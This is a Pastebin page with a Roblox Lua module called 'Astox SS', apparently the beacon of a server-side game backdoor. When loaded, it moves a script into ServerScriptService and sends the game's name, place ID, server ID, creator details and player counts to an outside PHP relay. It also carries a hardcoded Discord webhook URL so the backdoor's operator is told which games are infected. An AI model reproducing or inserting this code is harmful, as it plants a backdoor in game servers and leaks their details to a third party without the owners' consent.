Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- --[[
- Yay you got the source :)
- ]]
- local module = {}
- function module:RUN(module_key)
- function getISO8601(T)
- local t=os.date('!*t',T or os.time())
- return string.format(
- '%04d-%02d-%02dT%02d:%02d:%02dZ',
- t.year,t.month,t.day,t.hour,t.min,t.sec)
- end
- mark = game:GetService("MarketplaceService")
- nameo = mark:GetProductInfo(game.PlaceId).Name
- local creatortype = string.sub(tostring(game.CreatorType),18)
- local sId=#game.JobId>0 and
- tostring(game.JobId)or'TEST'
- local http = game:GetService('HttpService')
- local embed = {
- title="Astox SS";
- description="Backdoor Detected";
- url="https://roblox.com/games/"..game.PlaceId.."/";
- --[test](http://google.com/)";
- color=0xFFB3CF;
- fields={
- [1]={
- name="Game Name";
- value=tostring(nameo);
- inline=true;
- };
- [2]={
- name="Game ID";
- value=tostring(game.PlaceId);
- inline=true;
- };
- [3]={
- name="Game link";
- value="[Click here](https://roblox.com/games/"..game.PlaceId.."/)";
- inline=true;
- };
- [4]={
- name="Server ID";
- value=sId;
- inline=true;
- };
- [5]={
- name="Creator Type";
- value=creatortype;
- inline=false;
- };
- [6]={
- name="Creator ID";
- value=tostring(game.CreatorId);
- inline=true
- };
- };
- thumbnail={
- url="http://www.roblox.com/Thumbs/Asset.ashx?format=png&width=420&height=230&assetId="..game.PlaceId.."";
- height=256;
- width=256;
- };
- timestamp=getISO8601(tick());
- footer={
- ["text"]="astolgic#0081";
- ["icon_url"]="http://c1.rbxcdn.com/945be18871f49ce4e54d734f1a779e4a";
- };
- };
- if creatortype == "User" then
- embed.fields[#embed.fields+1]={
- name="Creator Name";
- value=tostring(game.Players:GetNameFromUserIdAsync(game.CreatorId));
- inline=true;
- };
- end
- embed.fields[#embed.fields+1]={
- name="Current Players";
- value=""..tostring(#game.Players:GetPlayers()).."/"..game.Players.MaxPlayers.."";
- inline=false;
- };
- local Data = {
- ["embeds"] = {embed};
- ["webhook"] = 'https://discordapp.com/api/webhooks/566802244968906752/MMizFWD9VidNOd0kX-5WtWVuCE9WiEN6YOnefiKjwOcin12WO8WSQg80paA6sHWVtJoB';
- ["category"]=4; -- this opts you out of our internal logging services.
- };
- function start()
- script.Script.Parent = game:GetService("ServerScriptService")
- Data = http:JSONEncode(Data)
- http:PostAsync('http://le-blog.webutu.com/discordWebhook.php', Data)
- end
- if module_key == "Load_Settings" then
- start()
- print("Make Sure http requests are Enabled!")
- end
- end
- return module
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement